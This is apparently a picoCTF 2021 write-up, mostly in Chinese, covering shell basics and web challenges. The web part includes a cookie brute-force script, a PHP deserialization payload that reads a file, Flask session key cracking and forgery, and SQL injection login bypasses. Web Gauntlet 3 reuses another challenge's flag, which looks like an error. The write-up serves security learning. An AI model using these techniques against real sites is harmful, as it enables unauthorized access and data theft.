---
# System prepended metadata

title: picoCTF 2021 Writeup
tags: [CTF, picoCTF]

---

# picoCTF 2021 Writeup
The CTF challenges writeup for picoCTF 2021.


# General Skills

## Magikarp Ground Mission <span style="color: green;"> [Easy] </span>

### Challenge description
Do you know how to move between directories and read files in the shell? Start the container, `ssh` to it, and then `ls` once connected to begin. Login via `ssh` as `ctf-player` with the password, `6dee9772`

### Solution
啟動一個新的實例後，我們就能夠用題目提供的指令和密碼用 `ssh` 連上 server。而接下來我們可以在 server 中搜索我們的 flag：

```bash
$ ls
1of3.flag.txt  instructions-to-2of3.txt
$ cat 1of3.flag.txt 
picoCTF{xxsh_
$ cat instructions-to-2of3.txt 
Next, go to the root of all things, more succinctly `/`
```

可以看到，我們找到了第一部份的 flag，並且有一個檔案告訴我們可以去哪裡找到下一個部分：

```bash
$ cd /
$ ls
2of3.flag.txt  bin  boot  dev  etc  home  instructions-to-3of3.txt  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
$ cat 2of3.flag.txt 
0ut_0f_\/\/4t3r_
$ cat instructions-to-3of3.txt 
Lastly, ctf-player, go home... more succinctly `~`
```

找到第二個部分之後，根據提示去 home 目錄底下找最後的 flag 內容：

```bash
$ cd ~
ctf-player@pico-chall$ ls
3of3.flag.txt  drop-in
ctf-player@pico-chall$ cat 3of3.flag.txt 
xxxxxxxx}
```

最後把這三個部分組在一起就可以拿到 flag 了。

### Summary
Flag: `picoCTF{xxsh_0ut_0f_\/\/4t3r_xxxxxxxx}`


## Tab, Tab, Attack <span style="color: green;"> [Easy] </span>

### Challenge description
Using tabcomplete in the Terminal will add years to your life, esp. when dealing with long rambling directory structures and filenames: [Addadshashanammu.zip](https://mercury.picoctf.net/static/a350754a299cb58988d6d47aed5be3ba/Addadshashanammu.zip)

### Solution
將檔案下載下來並解壓縮後，可以看到有一個檔案被好幾層的資料夾包在裡面：

```bash
$ unzip Addadshashanammu.zip 
Archive:  Addadshashanammu.zip
   creating: Addadshashanammu/
   creating: Addadshashanammu/Almurbalarammi/
   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/
   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/
   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/
   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/
   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/
  inflating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet
```

我們可以在打指令的時候按 tab 來自動幫我們補齊資料夾和檔案名稱，來節省自己打資料夾和檔案名稱的時間。

```bash
$ chmod +x Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet
$ ./Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet 
*ZAP!* picoCTF{l3v3l_up!_t4k3_4_r35t!_xxxxxxxx}
```

### Summary
Flag: `picoCTF{l3v3l_up!_t4k3_4_r35t!_xxxxxxxx}`


## Wave a flag <span style="color: green;"> [Easy] </span>

### Challenge description
Can you invoke help flags for a tool or binary? [This program](https://mercury.picoctf.net/static/fc1d77192c544314efece5dd309092e3/warm) has extraordinarily helpful information...

### Solution
將檔案下載下來後，可以看到它是一個執行檔：

```bash
$ file warm 
warm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7b3da2efd83a2b9154697b6c7f6474042e1fd033, with debug_info, not stripped
```

而嘗試執行它之後，會告訴我們用 `-h` 參數來查看：

```bash
$ chmod +x ./warm 
$ ./warm 
Hello user! Pass me a -h to learn what I can do!
```

照做後就會發現 flag 就藏在這裡：

```bash
$ ./warm -h
Oh, help? I actually don't do much, but I do have this flag here: picoCTF{b1scu1ts_4nd_gr4vy_xxxxxxxx}
```

### Summary
Flag: `picoCTF{b1scu1ts_4nd_gr4vy_xxxxxxxx}`


## Python Wrangling <span style="color: green;"> [Easy] </span>

### Challenge description
Python scripts are invoked kind of like programs in the Terminal... Can you run [this Python script](https://mercury.picoctf.net/static/0bf545252b5120845e3b568b9ad0277e/ende.py) using [this password](https://mercury.picoctf.net/static/0bf545252b5120845e3b568b9ad0277e/pw.txt) to get [the flag](https://mercury.picoctf.net/static/0bf545252b5120845e3b568b9ad0277e/flag.txt.en)?

### Solution
將題目提供的三個檔案下載下來後，嘗試執行 `ende.py` 檔案：

```bash
$ python3 ende.py
Usage: ende.py (-e/-d) [file]
```

可以看到程式提示了使用的方式，嘗試用 `ende.py` decode `flag.txt.en`：

```bash
$ python3 ende.py -d flag.txt.en 
Please enter the password:
```

程式要求輸入 password，重新執行程式並用 redirect 傳入 `pw.txt` 的內容：

```bash
python3 ende.py -d flag.txt.en < pw.txt 
Please enter the password:picoCTF{4p0110_1n_7h3_h0us3_xxxxxxxx}
```

### Summary
Flag: `picoCTF{4p0110_1n_7h3_h0us3_xxxxxxxx}`


## Static ain't always noise <span style="color: green;"> [Easy] </span>

### Challenge description
Can you look at the data in this binary: [static](https://mercury.picoctf.net/static/e9dd71b5d11023873b8abe99cdb45551/static)? This [BASH script](https://mercury.picoctf.net/static/e9dd71b5d11023873b8abe99cdb45551/ltdis.sh) might help!

### Solution
將題目提供的兩個檔案下載下來後，嘗試執行 `ltdis.sh` 檔案：

```bash
$ ./ltdis.sh       
Attempting disassembly of  ...
objdump: a.out：無此檔案
objdump: 「.text」區段有在 -j 選項指定，但未在任何輸入檔找到。
Disassembly failed!
Usage: ltdis.sh <program-file>
Bye!
```

可以看到程式提示了使用的方式，嘗試用 `ltdis.sh` disassemble `static`：

```bash
$ ./ltdis.sh static
Attempting disassembly of static ...
objdump: 無法反組譯 UNKNOWN! 架構

objdump: 「.text」區段有在 -j 選項指定，但未在任何輸入檔找到。
Disassembly successful! Available at: static.ltdis.x86_64.txt
Ripping strings from binary with file offsets...
Any strings found in static have been written to static.ltdis.strings.txt with file offset
```

可以看到程式產出了兩個檔案：`static.ltdis.strings.txt` 和 `static.ltdis.x86_64.txt`，直接用 grep 找尋 flag 字串：

```bash
$ grep -r pico
grep: static：二進位檔案符合
static.ltdis.strings.txt:   1020 picoCTF{d15a5m_t34s3r_xxxxxxxx}
```

### Summary
Flag: `picoCTF{d15a5m_t34s3r_xxxxxxxx}`


## Nice netcat... <span style="color: green;"> [Easy] </span>

### Challenge description
There is a nice program that you can talk to by using this command in a shell: `$ nc mercury.picoctf.net 22902`, but it doesn't speak English...

### Solution
執行題目給的 nc 指令連上伺服器後，會收到一連串數字：

```bash
nc mercury.picoctf.net 22902 | tee flag
112 
<SNIP>
10 
```

看起來是 ascii 數字，嘗試用 python 轉回去：

```python
flag_ascii = open('flag', 'r').read().strip().split("\n")
print("".join(chr(int(x)) for x in flag_ascii))
```

```
picoCTF{g00d_k1tty!_n1c3_k1tty!_xxxxxxxx}
```

### Summary
Flag: `picoCTF{g00d_k1tty!_n1c3_k1tty!_xxxxxxxx}`


## Obedient Cat <span style="color: green;"> [Easy] </span>

### Challenge description
This file has a flag in plain sight (aka "in-the-clear"). [Download flag](https://mercury.picoctf.net/static/fb851c1858cc762bd4eed569013d7f00/flag).


### Solution
直接用 cat 讀取檔案就能看到 flag 了。

```bash
$ cat flag
picoCTF{s4n1ty_v3r1f13d_xxxxxxxx}
```

### Summary
Flag: `picoCTF{s4n1ty_v3r1f13d_xxxxxxxx}`


# Web Exploitation

## Cookies <span style="color: green;"> [Easy] </span>

### Challenge description
Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:64944/

### Solution
打開網站可以看到一個輸入 cookie 名稱的 input field：
![image](https://hackmd.io/_uploads/SJt8lcxfkx.png)

輸入 placeholder 上提示的 cookie 名稱 snickerdoodle 之後，網頁告訴我們這個 cookie 存在，但不是特別的那個：
![image](https://hackmd.io/_uploads/rye9gqlfJg.png)

![image](https://hackmd.io/_uploads/HJyaxqgfyl.png)

檢查後可以發現多出了一個叫做 name 的 cookie，並且以數字的型態儲存，我們可以嘗試透過 python 爆破 cookie：

```python
import time

import requests

url = "http://mercury.picoctf.net:54219/check"


def fetch_url(index: int):
    res = requests.get(url, cookies={"name": str(index)})
    if "Not very special though" not in res.text:
        print(res.text)
        exit(0)


for i in range(100):
    fetch_url(i)
    time.sleep(0.5)
```

接著就可以看到帶有 flag 的 response 被列印出來了。

### Summary
Flag: `picoCTF{3v3ry1_l0v3s_c00k135_xxxxxxxx}`


## Scavenger Hunt <span style="color: green;"> [Easy] </span>

### Challenge description
There is some interesting information hidden around this site http://mercury.picoctf.net:55079/. Can you find it?

### Solution
打開網站後會看到下面的畫面：
![image](https://hackmd.io/_uploads/rycCPBkE1e.png)

檢查原始碼後可以看到第一個 part 的 flag，以及另外兩個自訂檔案的連結 `mycss.css` 和 `myjs.js`：
![image](https://hackmd.io/_uploads/S1yEOSJEJx.png)

接著前往另外兩個檔案查看 source 後會發現在 `mycss.css` 裡面會有第二個 part 的 flag：

![image](https://hackmd.io/_uploads/B1oGoBy41x.png)

而在 `myjs.js` 裡則是 flag 位置的提示：
![image](https://hackmd.io/_uploads/r178YrJN1l.png)


從提示中可以知道下一個 part 的 flag 跟 `robots.txt` 有關，前往後可以看到：

![image](https://hackmd.io/_uploads/HyAnFByEye.png)

從 apache server 和提示文字中大寫的 Access，可以推測出下一部分在 `.htaccess` 裡，前往之後可以看到下面的內容：

![image](https://hackmd.io/_uploads/SyANcSJ4kg.png)

Mac + Store 可以推測出為 `.DS_Store` 檔案：

![image](https://hackmd.io/_uploads/S1ckoSJEke.png)

然後將所有的 part 組合在一起就可以拿到 flag 了。

### Summary
Flag: `picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_xxxxxxxx}`


## GET aHEAD <span style="color: green;"> [Easy] </span>

### Challenge description
Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:34561/

### Solution

從題目可以猜出來要用 HTTP Method 中的 HEAD 去訪問網站（但我猜不出來🤡）：

```bash
$ curl -I http://mercury.picoctf.net:34561/
HTTP/1.1 200 OK
flag: picoCTF{r3j3ct_th3_du4l1ty_xxxxxxxx}
Content-type: text/html; charset=UTF-8
```

然後就可以在 response 中看到 flag 了。

### Summary
Flag: `picoCTF{r3j3ct_th3_du4l1ty_xxxxxxxx}`


## Super Serial <span style="color: orange;"> [Medium] </span>

### Challenge description
Try to recover the flag stored on this website http://mercury.picoctf.net:3449/

### Solution
進入網站後會看到一個登入頁面：
![image](https://hackmd.io/_uploads/SyzzjYQ41g.png)

而前往 `robots.txt` 可以看到網站隱藏了 `admin.phps`，因此我們可以猜測網站上還存在其他 `.phps` 檔案：

```robotframework
User-agent: *
Disallow: /admin.phps
```

前往 `index.phps` 來查看 `index.php` 的 source code：

```php
<?php
require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
	$con = new SQLite3("../users.db");
	$username = $_POST["user"];
	$password = $_POST["pass"];
	$perm_res = new permissions($username, $password);
	if ($perm_res->is_guest() || $perm_res->is_admin()) {
		setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
		header("Location: authentication.php");
		die();
	} else {
		$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
	}
}
?>
<SNIP>
```

檔案中引用了 `cookie.php` 和 `authentication.php`，所以也前往對應 phps 檔案路徑來查看其內容：

cookie.phps：
```php
<?php
session_start();

class permissions
{
	public $username;
	public $password;

	function __construct($u, $p) {
		$this->username = $u;
		$this->password = $p;
	}

	function __toString() {
		return $u.$p;
	}

	function is_guest() {
		$guest = false;

		$con = new SQLite3("../users.db");
		$username = $this->username;
		$password = $this->password;
		$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
		$stm->bindValue(1, $username, SQLITE3_TEXT);
		$stm->bindValue(2, $password, SQLITE3_TEXT);
		$res = $stm->execute();
		$rest = $res->fetchArray();
		if($rest["username"]) {
			if ($rest["admin"] != 1) {
				$guest = true;
			}
		}
		return $guest;
	}

        function is_admin() {
                $admin = false;

                $con = new SQLite3("../users.db");
                $username = $this->username;
                $password = $this->password;
                $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                $stm->bindValue(1, $username, SQLITE3_TEXT);
                $stm->bindValue(2, $password, SQLITE3_TEXT);
                $res = $stm->execute();
                $rest = $res->fetchArray();
                if($rest["username"]) {
                        if ($rest["admin"] == 1) {
                                $admin = true;
                        }
                }
                return $admin;
        }
}

if(isset($_COOKIE["login"])){
	try{
		$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
		$g = $perm->is_guest();
		$a = $perm->is_admin();
	}
	catch(Error $e){
		die("Deserialization error. ".$perm);
	}
}

?>
```

`cookie.php` 會檢查是否存在叫做 login 的 cookie，如果存在就將其進行 url 和 base64 decode，再將其進行反序列化後存成 `$perm` 變數來確認使用者的身份，而如果前述的動作中遇到了 error，便會將 `$perm` 作為 string 印出。

authentication.phps：

```php
<?php

class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
	$msg = "Welcome admin";
	$log = new access_log("access.log");
	$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
	$msg = "Welcome guest";
}
?>
<SNIP>
```

`authentication.php` 中定義了一個叫做 access_log 的 class，其中 `__toString` func 定義了這個 class 被作為 string 使用時應執行的動作，也就是回傳 `$log_file` 文件的內容。

因為 `cookie.php` 中執行了反序列化的操作，可以猜測其存在相關的漏洞。

我們可以構造一個 access_log class 的序列化文字，並且將其 `$log_file` 指向 `../flag` （從題目提示中可以知道 flag 的位置在這），然後執行對應的 encode 後將其設定為 login cookie，因此當 `cookie.php` 將其反序列化後想將其作為 permissions class 去執行身份認證等動作時，就會產生 error 進而將 `$perm` 印出，也就是將 `$log_file` 指向的文件內容印出。


構造 login cookie：

```php
<?php

class access_log
{
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }
}


$perm = new access_log("../flag");
echo urlencode(base64_encode(serialize($perm)));
```

```
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
```

最後將 login cookie 設定到網站上後訪問 `authentication.php` 就可以看到 flag 被印出來了。

### Summary
Flag: `picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_xxxxxxxx}`


## Most Cookies <span style="color: orange;"> [Medium] </span>

### Challenge description
Alright, enough of using my own encryption. Flask session cookies should be plenty secure! [server.py](https://mercury.picoctf.net/static/60f76192f6e1fea6f4e6e8c5fc9a6a27/server.py) 
http://mercury.picoctf.net:44693/

### Solution

從題目提供的檔案中可以知道，程式會從 `cookie_names` 中隨意抽選一個作為 `app.secret_key`，並且如果 session 中的 `very_auth` 值為 `admin`，就會回傳 flag：

```python
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

<SNIP>

@app.route("/display", methods=["GET"])
def flag():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "admin":
			resp = make_response(render_template("flag.html", value=flag_value, title=title))
			return resp

<SNIP>
```

我們可以安裝 `flask-unsign` 來幫我們偽造 session cookie：

```bash
$ pip3 install flask-unsign
```

先將所有可能的 key 寫入 `wordlist.txt` 中：

```python
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

with open("./wordlist.txt", "w") as f:
    f.write("\n".join(cookie_names))
```

爆破 key：

```bash
$ flask-unsign --unsign --cookie eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Z8U_mg.g0Wnx9x4bq_s3TCe8Svx_qHi-6Q --wordlist wordlist.txt
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
'butter'
```

用爆破出來的 key 製作一個新的 cookie：

```bash
$ flask-unsign --sign --cookie "{'very_auth':'admin'}" --secret butter
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.Z8VB6g.pq-UVoHjx8BP9_z1YyUsPNzt58c
```

更新 cookie 後就能拿到 flag 了：

![image](https://hackmd.io/_uploads/rJ3rXPBiyg.png)


### Summary
Flag: `picoCTF{pwn_4ll_th3_cook1E5_xxxxxxxx}`


## Web Gauntlet 2 <span style="color: orange;"> [Medium] </span>

### Challenge description
This website looks familiar... Log in as admin Site: http://mercury.picoctf.net:21336/ Filter: http://mercury.picoctf.net:21336/filter.php

### Solution
從題目跟網站可以知道我們要透過 SQLi 以 admin 身份登入：

![image](https://hackmd.io/_uploads/rJSgsTMjyx.png)

在 `filter.php` 給出了會被 filter 的內容：

```
Filters: or and true false union like = > < ; -- /* */ admin
```

```
Username: ad'||'min
Password: a' is not 'b
```

```sql
SELECT username, password FROM users WHERE username='ad'||'min' AND password='a' is not 'b'
```

![image](https://hackmd.io/_uploads/rJ3RR6Miyx.png)

### Summary
Flag: `picoCTF{0n3_m0r3_t1m3_838ec9084e6e0a65e4632329xxxxxxxx}`


## Web Gauntlet 3 <span style="color: orange;"> [Medium] </span>

### Challenge description
Last time, I promise! Only 25 characters this time. Log in as admin Site: http://mercury.picoctf.net:63504/ Filter: http://mercury.picoctf.net:63504/filter.php

### Solution
跟 [Web Gauntlet 2](https://hackmd.io/pLXzfsxBSgCa0Qy1K3JAQg?both=&stext=16047%3A15%3A0%3A1740990140%3ArAjGxX) 用相同的辦法就可以了。

### Summary
Flag: `picoCTF{pwn_4ll_th3_cook1E5_xxxxxxxx}`

